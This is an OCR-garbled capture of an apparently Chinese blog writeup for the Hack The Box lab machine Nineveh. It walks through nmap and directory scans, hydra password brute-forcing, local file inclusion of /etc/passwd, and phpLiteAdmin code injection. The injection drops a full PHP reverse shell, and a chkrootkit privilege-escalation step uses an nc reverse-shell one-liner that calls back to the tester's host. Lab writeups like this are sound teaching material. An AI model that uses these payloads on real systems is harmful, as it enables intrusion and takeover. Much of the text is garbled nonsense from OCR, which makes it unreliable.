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1. nmapia#

:~# nmap -A 10.10.10.43
Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-10 03:09 EDT
Nmap scan report for 10.10.108.43
Host is up (©.25s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18
443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu})

_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=nineveh.htb/organizationName=HackTheBox Ltd/
e0rProvinceName=Athens/countryName=GR

Not valid before: 2017-07-01T15:03:30

_Not valid after 2018-07-01T15:03:30
arning: 05Scan results may be unreliable beca ve could not find at 1
pen or https://blc n. 1

2. http & hydra & LFl &i&

80/443F M T, —Ahttp, —A https
WAEITHER, FHdirbusteria

File Options About Help

http://10.10.10.43:80/

@ Scan Information ' [Results - List View: Dirs: 0 Files: 1]} Results - Tree View | /\ Errors: 0

Type | Found | Response | Size
Dir ! 200
Dir ficons/ 403
File finfo.php 200
Dir fdepartment/ 200

80T FFdepartment & & FHE.
BEHNHLER. MZRERIWMET .
ctr+uEEE,

e

</div=
<!-- @admin! MySQL is been installed.. please fix the login page! ~amrois --»

</div=


https://blog.csdn.net/weixin_45527786
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_45527786/article/details/105440251

VERTH HE, FALASQLIENA?

KT ILFEIAAT.

REBZBATET, EEFXEERRadminikS Mamroisfl F RLZFTE, AREMF BHERNIEMRE, IRFAHE. .
burpitt, FBhydrafFEK =R

hydra 10.10.10.43 -1 admin -P rockyou.txt http-post-form "/department/login.php:username="USER"&password="PASS":

Invalid Password!"

OK, f82%H5
ﬁ%c

Hiinote

@ Hack The Box :: Ninev... x [l Nineveh Writeup | Sy.. % ) Nineveh write-up - Th.. ® ) Hack The Box - Nine
= | (| 10.10.10.43/department/manage. php?notes=files/ninevehNotes. txt

BE—T , {R8i40i8 @Hack The Box :: Machines w https://www.exploit-db... . BaseGARIE$EIRTH , .. @ ELT

Home Notes Logout

Hi admin,

FRRTANT, ZMnote=ft A ARXFE LR XHEERAT

RT T, RAETEEKNinevehnotes, FREHATHEE, RiBsEH, BMEEHITT
A/NOIEHT FRwxtER TC BB, & Kninevehnotes 7 & E i http://10.10.10.43/department/manage.php?
notes=files/ninevehNotes.txt../../../../../../../etc/passwd

1.10.43/department/manage.php?notes=files/ninevehNotes.wxt../../..[../.[0 ./ . fetc/passwd
fRER40E @Hack The Box :: Machines ® hitps://www.exploit-db.... BaseGAiRIDSEIRTH , . @ ELSHES - #2itE:

Notes Logout

Hi admin,

AXXAXXAX]

Ead




® CONSTRUCTION

CTION - UNDER CONSTRUCTION -UNDER C

-

root:x:@:@:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

liE @Hack The Box :: Machines % https://www.exploit-db... Basebdigidikin TR , .. @ ELRTEE - B2t

Hi admin,

(AR XXX XXX

[

TJUNDER

® CONSTRUCTION

CTION - UNDER CONSTRUCTION - UNDER

No Note is selected.

B T P AT passwd & 48 2 E 4 Fshell



3. https & hydra & LFI

FHEF443 https
EEEi:]

File Options About Help

https://10.10.10.43: 443/
@ Scan Information * Results - List View: Dirs: 0 Files: 0 Results - Tree View ', /\ En

Type Found | Respon
Dir !
Dir fdbyf
Dir ficonsf
Dir /server-status/
Fﬂ—_

secure_notesE— T, &ikE. BRFMEEFE—T, BELRK, BEEHSRBERA.

apt-get install steghide
steghide extract -sf XXXEH %

B2, Bk strings XXX
B2 T sshGxE . [HAEELkFnmap, KHsshi)220F. LHE. FHEHNMNZHR L.

BN /db XREFRNE, BERHA, $ERIIWE.



ATTEMPT] rget 10.10.19.43 - login = ) exle 1451 of @ [child 14344399] (8/4)
ATTEMPT] rget 10.10.10.43 - login - "land 1452 of 0 [child 14344399] (¢ )
ATTEMPT] 10.10.10.43 - login - nicola" 1453 of © [child 14344399] (¢ 3 )

ATTEMPT] rget 10.10.10.43 - login - "99999" - 1454 of © [child 14344399] (@/51)
ATTEMPT] § 10.10.10.43 - login - nancy" - 1455 of © [child 14344399] (0/30)

ATTEMPT] A 10.10.10.43 - login "none" - "hermione" - 1456 of @ [child 14344399] (0/50)
ATTEMPT] rget 10.10.10.43 - login "none" - s "cosita" - 1457 of @ [child 14344399] (0/34)

ATTEMPT] get 10.10.10.43 - login "none" - s "nissan" - 1458 of © [child 14344399] (8/35)
443][http-post-form] host: 19.10.10.43 login: none password: passwordl23
of 1 target successfully completed, 1 valid password found

X f&&phpliteadmin
M b3 T IR
https://www.exploit-db.com/exploits/24044

dLK 1NE BOUX (... & | E NINEVEDN VWIILE.. % | i NINEVEN WIILE-.. % [ININEVEN LEPAIUN... & | ) Mdik 11E DoX .. & ECIWV - ININEVE... & NUPSYIIV IV 1U437 & | pIPLILE

vw.exploit-db.com/exploits/2404

—TF . fRgh#E @Hack The Box :: Machines % https://www.exploit-db... 7| Base64iwiBiR TR , .. ® ELITESS - B2 EE @ CrackStation - Online P... @& CVE - CVE-20

EDB Verified: Exploit: ¥ / {}

<)

Exploit Title: phpliteadmin <= 1.9.3 Remote PHP Code Injection Vulnerability

Google Dork: inurl:phpliteadmin.php (Default PW: admin)

Date: 01/10/2013

Exploit Author: L@usch - http://la.usch.io - http://la.usch.io/files/exploits/phpliteadmin-1.9.3. txt
Vendor Homepage: http://code.google.com/p/phpliteadmin/

Vendor Status: Informed

Software Link: http://phpliteadmin.googlecode.com/files/phpliteadmin v1-9-3.zip

Version: 1.9.3

H oW W oW H % ok

Tested on: Windows and Linux
Description:
phpliteadmin.php#1784: 'Creating a New Database' ==

phpliteadmin.php#1785: 'When you create a new database, the name you entered will be appended with the appropriate file e
the directory you specified as the %$directory variable.',

KERFBEIEE (php/E%) « X, BREHpayload (text) 55 7EMHEAR BN I sl B8 B 1 & F R AT AT T

KFEEBRRNEER, EXEI R XHEE, RAninevehNotes ] LT, RIRBARIN, HIEFEwmZ

ninevehNotes.txt.writeup.php

HHER, Db

Create New Database [7] [ Rtot JL

Create new table on database 'ninevehNotes.txt.writeup.php’
Name: [ Number of Fields: :]

[—Create new view on database 'ninevehNotes.txt.writeup.php’

[ ] [ Create ]




FifEdefault valuetfipayload, field i {F1#

Creating new table: "111'

[ Field ][ Type ][ Primary Key ][ Autoincrement ][ Not NULL ][ Default Value ]

[ = o=
|

Powered by phpLiteAdmin | Page generated in 0.0036 seconds.

A i R pentestmonkey A, E4iMR, Bk E CHIPHO

?php set_time_limit (@); $VERSION = "1.0"; $ip = "10.10.14.57"; $port = 4444; $chunk_size = 1400; $write_a = nu
11; $error_a null; $shell "uname -a; w; id; /bin/bash -i"; $daemon 0; $debug 0; if (function_exists("pcn
tl fork")) { $pid = pcntl_fork(); if ($pid 1) { printit("ERROR: Cannot fork"); exit(1); } if ($pid) { exit(9
); } if (posix_setsid() 1) { printit("Error: Cannot setsid()"); exit(1); } $daemon 1; } else { printit("WA
RNING: Failed to daemonise. This is quite common and not fatal."); } chdir("/"); umask(@); $sock = fsockopen($i]
p, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1l); } $descriptorspec = array(0

array("pipe", "r"), 1 array("pipe", "w"), 2 array("pipe", "w")); $process = proc_open($shell, $descript

orspec, $pipes); if (!is_resource($process)) { printit("ERROR: Cannot spawn shell"); exit(1); } stream_set_block

ing($pipes[0], ©); stream_set_blocking($pipes[1], ©); stream_set_blocking($pipes[2], ©); stream_set blocking($so|
ck, ©); printit("Successfully opened reverse shell to $ip:$port"); while (1) { if (feof($sock)) { printit("ERROR
: Shell connection terminated"); break; } if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); bre
ak; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $ern
or_a, null); if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size
); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } if (in_array($pipes[1l], $read_a)) { if ($de
bug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwri
te($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pip
es[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pi]
pes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) { if (!$daemon)
{ print "$string\n"; } } ?

B¢ J5 7E W Bk A8 B s d http://10.10.10.43/department/manage.php ?notes=ninevehNotes. txt.writeup.php
BB

RiFEHEREAFHE, fErenamefBE. FE T HIER bk, FREMUEAIEH

hMotes.txt.writeup.php

ture H SQL ” Export ” Import ” Vacuum ” Rename Database H Delete Database ]

ame database 'fvarftmp/ninevehMotes.txt.writeup.php’ to [fvarftmpfninevehNotes.txt.writm] [Rename]

by phpLiteAdmin | Page generated in 0.0008 seconds.

BdUs,

10.10.10.43/department/manage.php?notes=/var/tmp/ninevehNotes.txt.writeup.php

M OKT, WZishell



» BEERRER.

EBxXA

[+] Looking for Knock configuration

.[+] Looking for logstash files

X v I R RsC i, X AT DA
FHEE T TREEXM, RWREM Hssh, XAl KsshE S ES) T

cat /etc/knockd.conf
[options]

logfile = /fvar/
interface = ens

log/knockd. log
3

0
3

[opensSSH]

sequence = 571, 298, 911

seq timeout = 5

start command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn

[closeSSH]

sequence = 911,290,571

seq timeout = 5

start_command = /sbin/iptables -D INPUT -s
tcpflags = syn

Frsshif i 7 24K X m571 290 911 ¥ H

for x in 571 290 911; do nmap -Pn max-retries @ -p $x 10.10.10.43; done

FHnmapE#$910.10.10.43. BR22T7F T

:~# nmap -p- 10.10.10.43
Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-10 ©05:51 EDT
Mmap scan report for 19.10.10.43
Host is up (©.24s latency).
Mot shown: 65532 filtered ports
STATE SERVICE
open ssh
open http
open https

Nmap done: 1 IP address (1 host up) scafipedtingEednetsenand s

b2 AiEIssh#® S, BHEEZR, VA Famroisz £, B AEEiX 4 B2 rootit

T2 TR B s shE RS ¥ BI AN, (RAFBIHCAFid_rsa
chmod 600 id_rsa

ssh -i id_rsa amrois@10.10.10.43

g ELlinpeas shEE, HRKAMH AHFHETE.


https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
https://zhuanlan.zhihu.com/p/59488488

AT Epspy, RATLE#RER. HrootEHATH 4.

EUID=0#) (root) , WAL, FHEXA,

‘bin/chkrootkit
/bin/chkrootkit

(/usr/share/exploitdb/)

Local Privilege Escalation (Metasploit)
Local Privil

Steps to reproduce:

- Put an utable file named 'update' with non-root owner in /tmp (not
mounted no c, obviously)
- Run chkrootkit (as uid @)

Result: The file /tmp/update will be executed as root, thus effectively
ooting your box, if malicious content is placed inside the file.

MEERET, tmpEEAupdate XX, HEA FEPATIR(FEE T chmod777 IR% T —BEFH. . o ) o B HroothiT.
B R F A Eshelldy & HAT T

#1/bin/bash

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.57 1337 >/tmp/f

AHUITR BT, RIREE


https://github.com/DominicBreuker/pspy

amrois@nineveh:~$% cd /tmp

- p$ chmod 777 update
amrois@nineveh: /tmp$ 1s

systemd-private-92ab9fd872tfh46d9a4749d30e7ebaae5-systemd-timesyncd. service-gAaBOF
amrois@nineveh: /tmp$ cat update
k! /bin/bash

m /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.57 1337 =/tmp/T
hmrois@nineveh: /tmp$ [

root@kali: ~

File Edit ‘iew Search Terminal Help
:~# nc -nlvp 1337

istening on [any] 1337
onnect to [10.10.14.57] from (UNKNOWN}
bin/sh: ©: can't access tty;
 id
id=e(root) gid=@(root) groups=0(root)

[10.10.10.43] 47300
job control turned off
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